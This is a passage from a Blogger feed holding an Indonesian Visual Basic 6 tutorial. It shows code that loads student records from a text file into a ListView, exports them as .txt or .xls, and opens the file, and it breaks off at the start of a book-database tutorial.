href="http://4.bp.blogspot.com/_48czvH0DaKc/SRHz9bOLeSI/AAAAAAAAAP8/c9AfOe-aoEY/s1600-h/Txt2Excel.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" rg="true" src="http://4.bp.blogspot.com/_48czvH0DaKc/SRHz9bOLeSI/AAAAAAAAAP8/c9AfOe-aoEY/s320/Txt2Excel.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Langsung saja yang dibutuhkan dalam pembuatan aplikasi ini adalah ListView untuk menampung data dari file data.txt, 1 Commandbutton untuk melihat dan sekaligus menyimpan file dalam format xls ataupun txt, dan combo box untuk menampung pilihan format yang ingin dilihat yaitu .txt atau .xls, Agar lebih jelas lagi lihat gambar di atas. Tanpa basa-basi silahkan dipelajari code-code dibawah ini.&lt;br /&gt;&lt;br /&gt;Masukan code dibawah ini pada form&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="margin: 0px;padding: 3px;border: 1px inset;width: 500px;height: 498px;text-align: left;overflow: auto"&gt;Option Explicit&lt;br /&gt;Public Enum DataSiswa&lt;br /&gt;Nama = 1&lt;br /&gt;Kelas&lt;br /&gt;JenisKelamin&lt;br /&gt;NIS&lt;br /&gt;Alamat&lt;br /&gt;Tempatlahir&lt;br /&gt;TanggalLahir&lt;br /&gt;End Enum&lt;br /&gt;&lt;br /&gt;Private Const SE_ERR_NOASSOC = 31&lt;br /&gt;Private Declare Function timeGetTime Lib "winmm.dll" () As Long&lt;br /&gt;Private Declare Function GetDesktopWindow Lib "user32" () As Long&lt;br /&gt;Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long&lt;br /&gt;Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub LoadHeader()&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;&lt;br /&gt;'mengeset columnheaders&lt;br /&gt;With lvwDataSiswa&lt;br /&gt;&lt;br /&gt;.ColumnHeaders.Add , "Nama", "Nama"&lt;br /&gt;.ColumnHeaders.Add , "Kelas", "Kelas"&lt;br /&gt;.ColumnHeaders.Add , "JenisKelamin", "JK"&lt;br /&gt;.ColumnHeaders.Add , "NIS", "NIS"&lt;br /&gt;.ColumnHeaders.Add , "Alamat", "Alamat"&lt;br /&gt;.ColumnHeaders.Add , "Tempatlahir", "Lahir"&lt;br /&gt;.ColumnHeaders.Add , "TanggalLahir", "Tanggal Lahir"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'Nama&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Nama).Width = 2500&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Nama).Alignment = lvwColumnLeft&lt;br /&gt;'Kelas&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Kelas).Width = 700&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Kelas).Alignment = lvwColumnLeft&lt;br /&gt;'JenisKelamin&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.JenisKelamin).Width = 500&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.JenisKelamin).Alignment = lvwColumnLeft&lt;br /&gt;'NIS&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.NIS).Width = 700&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.NIS).Alignment = lvwColumnLeft&lt;br /&gt;'Alamat&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Alamat).Width = 2500&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Alamat).Alignment = lvwColumnLeft&lt;br /&gt;'Tempatlahir&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Tempatlahir).Width = 1000&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Tempatlahir).Alignment = lvwColumnLeft&lt;br /&gt;'TanggalLahir&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.TanggalLahir).Width = 1200&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.TanggalLahir).Alignment = lvwColumnLeft&lt;br /&gt;End With&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exit Sub&lt;br /&gt;Salah:&lt;br /&gt;MsgBox Err.Number &amp;amp; vbCrLf &amp;amp; Err.Description&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub CmdView_Click()&lt;br /&gt;&lt;br /&gt;ShowItemList lvwDataSiswa, 100, "Data Siswa", , True, cboExt.Text&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;LoadHeader&lt;br /&gt;PopulateLvw&lt;br /&gt;cboExt.ListIndex = 0&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub PopulateLvw()&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim Item As ListItem&lt;br /&gt;Dim sData As String&lt;br /&gt;Dim saryData() As String&lt;br /&gt;Dim lCount As Long&lt;br /&gt;Dim saryColData() As String&lt;br /&gt;Dim lColPos As Long&lt;br /&gt;&lt;br /&gt;sData = GetFileData(App.Path &amp;amp; "\Data.txt")&lt;br /&gt;&lt;br /&gt;saryData() = Split(sData, vbCrLf)&lt;br /&gt;&lt;br /&gt;'menghilangkan Header Name yang pertama pada data.txt&lt;br /&gt;For lCount = LBound(saryData, 1) + 1 To UBound(saryData, 1)&lt;br /&gt;If saryData(lCount) = vbNullString Then&lt;br /&gt;Exit For&lt;br /&gt;End If&lt;br /&gt;saryColData() = Split(saryData(lCount), vbTab)&lt;br /&gt;&lt;br /&gt;Set Item = lvwDataSiswa.ListItems.Add(, , saryColData(DataSiswa.Nama - 1))&lt;br /&gt;'Kelas&lt;br /&gt;Item.SubItems(DataSiswa.Kelas - 1) = saryColData(DataSiswa.Kelas - 1)&lt;br /&gt;'JenisKelamin&lt;br /&gt;Item.SubItems(DataSiswa.JenisKelamin - 1) = saryColData(DataSiswa.JenisKelamin - 1)&lt;br /&gt;'NIS&lt;br /&gt;Item.SubItems(DataSiswa.NIS - 1) = saryColData(DataSiswa.NIS - 1)&lt;br /&gt;'Alamat&lt;br /&gt;Item.SubItems(DataSiswa.Alamat - 1) = saryColData(DataSiswa.Alamat - 1)&lt;br /&gt;'Tempatlahir&lt;br /&gt;Item.SubItems(DataSiswa.Tempatlahir - 1) = saryColData(DataSiswa.Tempatlahir - 1)&lt;br /&gt;'TanggalLahir&lt;br /&gt;Item.SubItems(DataSiswa.TanggalLahir - 1) = saryColData(DataSiswa.TanggalLahir - 1)&lt;br /&gt;Item.Selected = False&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;Exit Sub&lt;br /&gt;Salah:&lt;br /&gt;MsgBox Err.Number &amp;amp; vbCrLf &amp;amp; Err.Description&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub ShowItemList(poLstView As Object, _&lt;br /&gt;Optional plMaxColLen As Long = 100, _&lt;br /&gt;Optional psOutPutName As String = vbNullString, _&lt;br /&gt;Optional psOutPutPath As String = vbNullString, _&lt;br /&gt;Optional pbUseTempPrefix As Boolean = False, _&lt;br /&gt;Optional psExt As String)&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;'Error&lt;br /&gt;Dim lRet As Long&lt;br /&gt;Dim lErrNum As Long&lt;br /&gt;Dim sErrDesc As String&lt;br /&gt;'File names&lt;br /&gt;Dim sFileName As String&lt;br /&gt;Dim sFullPathName As String&lt;br /&gt;Dim sTempDir As String&lt;br /&gt;Dim sExt As String&lt;br /&gt;Dim bValidExt As Boolean&lt;br /&gt;Dim bDelAppApthFile As Boolean&lt;br /&gt;'Objects&lt;br /&gt;Dim Item As ListItem&lt;br /&gt;Dim oLstView As ListView&lt;br /&gt;'Build Print Data&lt;br /&gt;Dim lColPos As Long&lt;br /&gt;Dim lFillLen As Long&lt;br /&gt;Dim aryColMaxLen() As Long&lt;br /&gt;Dim sHeader As String&lt;br /&gt;Dim sData As String&lt;br /&gt;Dim sTemp As String&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'Set nama file menggunakan ekstensi .txt atau .xls&lt;br /&gt;'hanya Support .txt dan .xls&lt;br /&gt;If psExt = vbNullString Then&lt;br /&gt;psExt = ".txt"&lt;br /&gt;Else&lt;br /&gt;sExt = psExt&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'mengecek validnya ekstensi&lt;br /&gt;If StrComp(sExt, ".txt", vbTextCompare) = 0 Then&lt;br /&gt;bValidExt = True&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If StrComp(sExt, ".xls", vbTextCompare) = 0 Then&lt;br /&gt;bValidExt = True&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If Not bValidExt Then&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'mengeset List View Object&lt;br /&gt;Set oLstView = poLstView&lt;br /&gt;&lt;br /&gt;If psOutPutName = vbNullString Then&lt;br /&gt;sFileName = "Daftar Item" &amp;amp; sExt&lt;br /&gt;Else&lt;br /&gt;If pbUseTempPrefix Then&lt;br /&gt;sFileName = psOutPutName &amp;amp; sExt&lt;br /&gt;Else&lt;br /&gt;sFileName = psOutPutName &amp;amp; sExt&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'mengeset Output path&lt;br /&gt;If psOutPutPath = vbNullString Then&lt;br /&gt;sTempDir = App.Path &amp;amp; "\"&lt;br /&gt;Else&lt;br /&gt;sTempDir = psOutPutPath&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;sFullPathName = sTempDir &amp;amp; sFileName&lt;br /&gt;&lt;br /&gt;If Not utFileExists(sTempDir, True) Then&lt;br /&gt;bDelAppApthFile = True&lt;br /&gt;sTempDir = App.Path &amp;amp; "\"&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'menyusun Data&lt;br /&gt;Screen.MousePointer = VBRUN.MousePointerConstants.vbHourglass&lt;br /&gt;&lt;br /&gt;'1. menyusun Header&lt;br /&gt;ReDim aryColMaxLen(1 To oLstView.ColumnHeaders.Count)&lt;br /&gt;For lColPos = 1 To oLstView.ColumnHeaders.Count&lt;br /&gt;If oLstView.ColumnHeaders(lColPos).Width &amp;gt; 0 Then&lt;br /&gt;If StrComp(sExt, ".txt", vbTextCompare) = 0 Then&lt;br /&gt;aryColMaxLen(lColPos) = GetMaxLenthForCol(oLstView, lColPos)&lt;br /&gt;End If&lt;br /&gt;sTemp = oLstView.ColumnHeaders(lColPos).Text&lt;br /&gt;sTemp = "[" &amp;amp; sTemp &amp;amp; "]" 'wrap the col name&lt;br /&gt;If StrComp(sExt, ".txt", vbTextCompare) = 0 Then&lt;br /&gt;If aryColMaxLen(lColPos) &amp;lt; Len(sTemp) Then aryColMaxLen(lColPos) = Len(sTemp) End If lFillLen = aryColMaxLen(lColPos) lFillLen = (lFillLen - Len(sTemp)) If lFillLen &amp;gt; 0 Then&lt;br /&gt;sTemp = sTemp &amp;amp; String(lFillLen, Chr(32))&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;'tambahkan ke header&lt;br /&gt;sHeader = sHeader &amp;amp; sTemp &amp;amp; vbTab&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;If sHeader &amp;lt;&amp;gt; vbNullString Then&lt;br /&gt;'menambahkan spasi pada header&lt;br /&gt;sHeader = sHeader &amp;amp; vbCrLf&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'Set Header ke Data&lt;br /&gt;sData = sHeader&lt;br /&gt;&lt;br /&gt;'2. menyusun isi&lt;br /&gt;For Each Item In oLstView.ListItems&lt;br /&gt;For lColPos = 1 To oLstView.ColumnHeaders.Count&lt;br /&gt;If oLstView.ColumnHeaders(lColPos).Width &amp;gt; 0 Then&lt;br /&gt;If lColPos = 1 Then&lt;br /&gt;sTemp = Item.Text&lt;br /&gt;Else&lt;br /&gt;sTemp = Item.ListSubItems(lColPos - 1).Text&lt;br /&gt;End If&lt;br /&gt;'dibutuhkan untuk membersihkan banyaknya enter pada data&lt;br /&gt;'Replace with 2 spaces&lt;br /&gt;sTemp = Replace(sTemp, vbCrLf, String(2, Chr(32)))&lt;br /&gt;'tidak memiliki banyak extra tab,&lt;br /&gt;sTemp = Replace(sTemp, vbTab, " ")&lt;br /&gt;'tambah 3 account untuk "..."&lt;br /&gt;If Len(sTemp) &amp;gt; (plMaxColLen + 3) Then&lt;br /&gt;sTemp = Left(sTemp, plMaxColLen) &amp;amp; "..."&lt;br /&gt;End If&lt;br /&gt;'Hanya dibutuhkan untuk mendapatkan banyaknya Len pada format .txt&lt;br /&gt;If StrComp(sExt, ".txt", vbTextCompare) = 0 Then&lt;br /&gt;lFillLen = aryColMaxLen(lColPos)&lt;br /&gt;lFillLen = lFillLen - Len(sTemp)&lt;br /&gt;If lFillLen &amp;gt; 0 Then&lt;br /&gt;sTemp = sTemp &amp;amp; String(lFillLen, Chr(32))&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;sData = sData &amp;amp; sTemp &amp;amp; vbTab&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;sData = sData &amp;amp; vbCrLf&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'Simpan ke temp directory&lt;br /&gt;SaveFileData sFullPathName, sData&lt;br /&gt;&lt;br /&gt;If utFileExists(sFullPathName) Then&lt;br /&gt;lRet = utShellExecute(GetDesktopWindow, "OPEN", sFullPathName, vbNullString, App.Path, vbNormalFocus, False, False, True)&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault&lt;br /&gt;&lt;br /&gt;Set oLstView = Nothing&lt;br /&gt;Set Item = Nothing&lt;br /&gt;Exit Sub&lt;br /&gt;Salah:&lt;br /&gt;lErrNum = Err.Number&lt;br /&gt;sErrDesc = Err.Description&lt;br /&gt;Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault&lt;br /&gt;Err.Raise lErrNum, , sErrDesc &amp;amp; vbCrLf &amp;amp; "Private Sub ShowItemList"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Function GetMaxLenthForCol(poLstView As Object, _&lt;br /&gt;lColPos As Long, _&lt;br /&gt;Optional plMaxColLen As Long = 100) As Long&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim lErrNum As Long&lt;br /&gt;Dim sErrDesc As String&lt;br /&gt;Dim Item As ListItem&lt;br /&gt;Dim oLstView As ListView&lt;br /&gt;Dim sTemp As String&lt;br /&gt;Dim lThisLen As Long&lt;br /&gt;Dim lLen As Long&lt;br /&gt;&lt;br /&gt;Set oLstView = poLstView&lt;br /&gt;&lt;br /&gt;For Each Item In oLstView.ListItems&lt;br /&gt;If lColPos = 1 Then&lt;br /&gt;sTemp = Item.Text&lt;br /&gt;Else&lt;br /&gt;sTemp = Item.ListSubItems(lColPos - 1).Text&lt;br /&gt;End If&lt;br /&gt;lThisLen = Len(sTemp)&lt;br /&gt;If lThisLen &amp;gt; lLen Then&lt;br /&gt;lLen = lThisLen&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;If lLen &amp;gt; plMaxColLen Then&lt;br /&gt;' Tambahkan maksimal 3 Length untuk account "..."&lt;br /&gt;lLen = plMaxColLen + 3&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;GetMaxLenthForCol = lLen&lt;br /&gt;&lt;br /&gt;Set Item = Nothing&lt;br /&gt;Set oLstView = Nothing&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;Salah:&lt;br /&gt;lErrNum = Err.Number&lt;br /&gt;sErrDesc = Err.Description&lt;br /&gt;Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault&lt;br /&gt;MsgBox lErrNum &amp;amp; vbCrLf &amp;amp; sErrDesc&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Function utFileExists(strFile As String, Optional pbDirOnly As Boolean) As Boolean&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim FSO As Scripting.FileSystemObject&lt;br /&gt;&lt;br /&gt;Set FSO = New Scripting.FileSystemObject&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If strFile &amp;lt;&amp;gt; vbNullString Then&lt;br /&gt;If Not pbDirOnly Then&lt;br /&gt;utFileExists = FSO.FileExists(strFile)&lt;br /&gt;Else&lt;br /&gt;utFileExists = FSO.FolderExists(strFile)&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Set FSO = Nothing&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;Salah:&lt;br /&gt;Set FSO = Nothing&lt;br /&gt;utFileExists = False&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Sub SaveFileData(psFilePath As String, psFileData As String, Optional psDelimeter As String, Optional pbLock As Boolean = False, Optional piFFile As Integer)&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim lMyFileLen As Long&lt;br /&gt;Dim iFFile As Integer&lt;br /&gt;Dim lErrNum As Long&lt;br /&gt;Dim sErrDesc As String&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;iFFile = FreeFile&lt;br /&gt;piFFile = iFFile&lt;br /&gt;Open psFilePath For Binary Access Write As #iFFile&lt;br /&gt;Put #iFFile, 1, psFileData &amp;amp; psDelimeter&lt;br /&gt;If Not pbLock Then&lt;br /&gt;Close #iFFile&lt;br /&gt;End If&lt;br /&gt;Exit Sub&lt;br /&gt;Salah:&lt;br /&gt;lErrNum = Err.Number&lt;br /&gt;sErrDesc = Err.Description&lt;br /&gt;Close #iFFile&lt;br /&gt;Err.Raise lErrNum, , App.EXEName &amp;amp; vbCrLf &amp;amp; "Public Sub SaveFileData" &amp;amp; vbCrLf &amp;amp; "Error # " &amp;amp; lErrNum &amp;amp; vbCrLf &amp;amp; sErrDesc &amp;amp; vbCrLf&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Function GetFileData(psFilePath As String, Optional pbLock As Boolean = False, Optional piFFile As Integer, Optional pbSkipMess As Boolean = True) As String&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim lMyFileLen As Long&lt;br /&gt;Dim iFFile As Integer&lt;br /&gt;&lt;br /&gt;iFFile = FreeFile&lt;br /&gt;piFFile = iFFile&lt;br /&gt;If pbLock Then&lt;br /&gt;Open psFilePath For Binary Access Read Lock Read As #iFFile&lt;br /&gt;Else&lt;br /&gt;Open psFilePath For Binary Access Read As #iFFile&lt;br /&gt;End If&lt;br /&gt;lMyFileLen = FileLen(psFilePath) + 2&lt;br /&gt;GetFileData = Input(lMyFileLen, #iFFile)&lt;br /&gt;If Not pbLock Then&lt;br /&gt;Close #iFFile&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;Salah:&lt;br /&gt;Close #iFFile&lt;br /&gt;If Not pbSkipMess Then&lt;br /&gt;If MsgBox("Tidak Dapat Membaca File... " &amp;amp; vbCrLf &amp;amp; psFilePath &amp;amp; vbCrLf &amp;amp; "(" &amp;amp; Err.Description &amp;amp; ")" &amp;amp; vbCrLf &amp;amp; vbCrLf &amp;amp; _&lt;br /&gt;"Jaringan atau File Sedang Sibuk." &amp;amp; vbCrLf &amp;amp; "Tekan ""Yes"" untuk mencoba lagi." &amp;amp; vbCrLf &amp;amp; "Tekan ""No"" untuk menghentikan proses", vbYesNo, "File Sibuk") = vbYes Then&lt;br /&gt;Resume&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Function utShellExecute(Optional plHwnd As Long = -1, _&lt;br /&gt;Optional pslpOperation As String = "OPEN", _&lt;br /&gt;Optional pslpFile As String, _&lt;br /&gt;Optional pslpParameters As String = vbNullString, _&lt;br /&gt;Optional pslpDirectory As String = "App.Path", _&lt;br /&gt;Optional plnShowCmd As VBA.VbAppWinStyle = vbNormalFocus, _&lt;br /&gt;Optional pbUseTimeStampFileName As Boolean = False, _&lt;br /&gt;Optional pbShowMessage As Boolean = False, _&lt;br /&gt;Optional psTempFileCaption As String) As Boolean&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim lHwnd As Long&lt;br /&gt;Dim slpOperation As String&lt;br /&gt;Dim slpFile As String&lt;br /&gt;Dim slpParameters As String&lt;br /&gt;Dim slpDirectory As String&lt;br /&gt;Dim lnShowCmd As VBA.VbAppWinStyle&lt;br /&gt;Dim sErrorMess As String&lt;br /&gt;Dim sTmpExt As String&lt;br /&gt;Dim sTmpFile As String&lt;br /&gt;Dim lRet As Long&lt;br /&gt;Dim sDir As String&lt;br /&gt;Dim lErrNum As Long&lt;br /&gt;Dim sErrDesc As String&lt;br /&gt;&lt;br /&gt;utShellExecute = False&lt;br /&gt;&lt;br /&gt;'mendapatkan info dari Parameter&lt;br /&gt;If plHwnd = -1 Then&lt;br /&gt;lHwnd = GetDesktopWindow&lt;br /&gt;End If&lt;br /&gt;slpOperation = pslpOperation&lt;br /&gt;If pslpFile = vbNullString Then&lt;br /&gt;Exit Function&lt;br /&gt;Else&lt;br /&gt;slpFile = pslpFile&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;slpParameters = pslpParameters&lt;br /&gt;If pslpDirectory = "App.Path" Then&lt;br /&gt;slpDirectory = App.Path&lt;br /&gt;Else&lt;br /&gt;slpDirectory = pslpDirectory&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;lnShowCmd = plnShowCmd&lt;br /&gt;&lt;br /&gt;'Jika file tdk ada kemudian keluar&lt;br /&gt;If utFileExists(slpFile) Or InStr(1, slpFile, "MAPIMAIL", vbTextCompare) &amp;gt; 0 Then&lt;br /&gt;sTmpFile = slpFile&lt;br /&gt;lRet = ShellExecute(lHwnd, slpOperation, sTmpFile, slpParameters, slpDirectory, lnShowCmd)&lt;br /&gt;If lRet = SE_ERR_NOASSOC Then&lt;br /&gt;sDir = Space(260)&lt;br /&gt;lRet = GetSystemDirectory(sDir, Len(sDir))&lt;br /&gt;sDir = Left(sDir, lRet)&lt;br /&gt;lRet = ShellExecute(lHwnd, vbNullString, "RUNDLL32.EXE", "shell32.dll,OpenAs_RunDLL " &amp;amp; sTmpFile, sDir, lnShowCmd)&lt;br /&gt;End If&lt;br /&gt;Else&lt;br /&gt;SHOW_ERROR:&lt;br /&gt;If pbShowMessage Then&lt;br /&gt;If sErrorMess = vbNullString Then&lt;br /&gt;sErrorMess = "File Tidak diketemukan!" &amp;amp; vbCrLf &amp;amp; psTempFileCaption &amp;amp; vbCrLf &amp;amp; slpFile&lt;br /&gt;End If&lt;br /&gt;MsgBox sErrorMess, vbExclamation + vbOKOnly, "File Error"&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;utShellExecute = True&lt;br /&gt;Exit Function&lt;br /&gt;Salah:&lt;br /&gt;lErrNum = Err.Number&lt;br /&gt;sErrDesc = Err.DescriptionErr.Raise lErrNum, , App.EXEName &amp;amp; vbCrLf &amp;amp; "Public Function utShellExecute" &amp;amp; vbCrLf &amp;amp; "Error # " &amp;amp; lErrNum &amp;amp; vbCrLf &amp;amp; sErrDesc &amp;amp; vbCrL&lt;br /&gt;&lt;br /&gt;End Function&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Selesai, Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-1716566365788540731?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/1716566365788540731/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/11/ekspor-txt-ke-excel.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/1716566365788540731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/1716566365788540731'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/11/ekspor-txt-ke-excel.html' title='Ekspor Txt ke Excel'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_48czvH0DaKc/SRHz1HuKkeI/AAAAAAAAAP0/xgr_Cr9hS_E/s72-c/Data+Teks.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-6040435728417186976</id><published>2008-08-28T03:10:00.019+07:00</published><updated>2010-12-26T00:38:53.997+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Database'/><title type='text'>MyBooks Database</title><content type='html'>Sekarang kita mencoba belajar Database visual basic, yaitu database dengan menggunakan Microsoft Office Acces sebagai sumber datanya.Program ini sebagai janji saya kepada beberapa pengunjung yang menanyakan mengenai database. Kita akan membuat sebuah aplikasi sederhana "Koleksi Bukuku" yang berfungsi untuk menyimpan daftar koleksi buku yang mungkin sangat banyak dan kita belum sempat melakukan inventarisasi terhadapnya.Saya sendiri sempat terkejut pada saat saya membuat project ini karena ketika saya memasukan data buku-buku saya eh..ternyata jumlahnya lumayan banyak yaitu 45 buku, bayangkan jika semua buku tersebut minimal harganya 25.000 sudah menghabiskan berapa rupiah nih ..???&lt;br /&gt;Tapi semua buku pasti bermanfaat dan saya tentu tidak menyesal untuk membelinya dan memilikinya.&lt;br /&gt;Thanks My Books.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://picasaweb.google.com/JokomartonoVB/BelajarVisualBasic/photo?authkey=BPSAAWnw500#5240101423034703298"&gt;&lt;img height="400" src="http://lh4.ggpht.com/JokomartonoVB/SLiUeyMAncI/AAAAAAAAAD8/97AJVDxrNz4/s400/software.jpg" style="height: 250px; width: 205px;" width="328" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Baik langsung saja yang dibutuhkan dalam project ini adalah :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;satu form dengan nama main&lt;/li&gt;&lt;li&gt;satu dataenvironment dengan nama dataenvironment1&lt;/li&gt;&lt;li&gt;datareport dengan nama datareport1&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Control yang ada didalam form, yaitu :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Imagelist1 sebagai penampung image untuk toolbar&lt;/li&gt;&lt;li&gt;Toolbar1 sebagai tempat menampung gambar yang akan dapat di klik langsung oleh user&lt;/li&gt;&lt;li&gt;frame1 sebagai tempat&lt;/li&gt;&lt;li&gt;tujuh Textbox yaitu txtjudul, txtreferensi, txtpenulis, txtcetakan, txtpenerbit, txtrecordaktif dan txtsearch&lt;/li&gt;&lt;li&gt;satu ComboBox yaitu cbosearch&lt;/li&gt;&lt;li&gt;satu CommandButton yaitu cmdcari&lt;/li&gt;&lt;li&gt;membuat Menubar untuk menampung File, Tambah, Hapus, urut sesuai Judul , urut sesuai Resensi dan seterusnya.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Fasilitas yang ada pada project sederhana ini adalah :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Pencarian&lt;/li&gt;&lt;li&gt;Tambah data&lt;/li&gt;&lt;li&gt;Hapus Data&lt;/li&gt;&lt;li&gt;Update data&lt;/li&gt;&lt;li&gt;Pembatalan data&lt;/li&gt;&lt;li&gt;Simpan data&lt;/li&gt;&lt;li&gt;Edit data&lt;/li&gt;&lt;li&gt;Menampilkan laporan yang lumayan tampilannya&lt;/li&gt;&lt;li&gt;Lebih fleksibel karena untuk koneksi ke database menggunakan kode dan tidak menggunakan Adodc yang saya rasa kurang fleksibel dalam koneksi database.&lt;/li&gt;&lt;li&gt;Navigasi (Next, Previous, First dan Last) yang diletakan di menubar sehingga lebih hemat tempat.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;div style="background-color: black; color: yellow;"&gt;BACA DAHULU CODE-CODE DIBAWAH INI KHUSUSNYA PADA "MNUITEMREPORT" DAN "CASE LAPORAN". JANGAN JALANKAN JIKA BELUM DICOMPILE KARENA NANTI WALAUPUN SUDAH ANDA STOP PROJECT ANDA MAKA APLIKASI YANG BERADA DIFOLDER INI YAITU "KOLEKSIBUKUKU.EXE" AKAN DIJALANKAN !!!&lt;/div&gt;&lt;div style="background-color: black; color: yellow;"&gt;BACA ALASANYA DI "MNUITEMREPORT" DAN "CASE LAPORAN".&lt;/div&gt;&lt;br /&gt;&lt;u&gt;Masukan semua kode di bawah ini dalam form&lt;/u&gt;&lt;br 